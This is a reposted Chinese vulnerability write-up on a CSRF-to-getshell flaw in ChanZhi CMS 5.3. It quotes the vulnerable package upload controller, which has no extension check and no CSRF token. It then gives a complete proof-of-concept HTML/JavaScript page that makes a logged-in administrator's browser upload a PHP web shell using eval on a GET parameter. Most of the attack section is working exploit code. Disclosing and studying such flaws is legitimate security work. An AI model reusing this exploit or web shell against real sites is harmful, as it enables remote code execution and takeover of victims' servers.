IT博客汇 | 蝉知CMS5.3 CRSF getshell

蝉知CMS5.3 CRSF getshell

没穿底裤发表于 2016-05-30 10:06:20

漏洞作者： 3xpl0it

详细说明：

/system/module/package/control.php

public function upload($type = 'extension')
    {
        $this->view->canManage = array('result' => 'success');
        if(!$this->loadModel('guarder')->verify()) $this->view->canManage = $this->loadModel('common')->verifyAdmin();

        if($_SERVER['REQUEST_METHOD'] == 'POST')
        {
            if($this->view->canManage['result'] != 'success') $this->send(array('result' => 'fail', 'message' => sprintf($lang->guarder->okFileVerify, $this->view->canManage['name'], $this->view->canManage['content'])));
            
            if(empty($_FILES))  $this->send(array('result' => 'fail', 'message' => '' ));

            $tmpName  = $_FILES['file']['tmp_name'];
            $fileName = $_FILES['file']['name'];
            $package  = basename($fileName, '.zip');
            move_uploaded_file($tmpName, $this->app->getTmpRoot() . "/package/$fileName");

            $info = $this->package->getInfoFromDB($package);
            $option = (!empty($info) and $info->status == 'installed') ? 'upgrade' : 'install';
            $link = $option == 'install' ? inlink('install', "package=$package&downLink=&md5=&type={$type}") : inlink('upgrade', "package=$package&downLink=&md5=&type={$type}");
            $this->send(array('result' => 'success', 'message' => $this->lang->package->successUploadedPackage, 'locate' => $link));
        }

        $this->view->title = $this->lang->package->upload;
        $this->display();
    }

后台这里上传文件的时候，没有判断文件后缀，直接通过move_uploaded_file移动到package目录下了。而这里没有token，所以可以通过CSRF漏洞getshell。

漏洞证明：

POC：

&lt;html&gt;
  &lt;body&gt;
    &lt;script&gt;
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://127.0.0.1/chanzhi/admin.php?m=package&amp;f=upload", true);
        xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryGgFOYWAluy1F8lvn");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryGgFOYWAluy1F8lvn\r\n" + 
          "Content-Disposition: form-data; name=\"file\"; filename=\"php.php\"\r\n" + 
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php\r\n" + 
          "@eval($_GET[\'a\']);\r\n" + 
          "?\x3e\r\n" + 
          "------WebKitFormBoundaryGgFOYWAluy1F8lvn--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i &lt; aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    &lt;/script&gt;
    
  &lt;/body&gt;
&lt;/html&gt;

管理员点击后，成功创建文件。

成功执行phpinfo

1122145631ccefd82ceae87f0b819ab0ca19094a[1]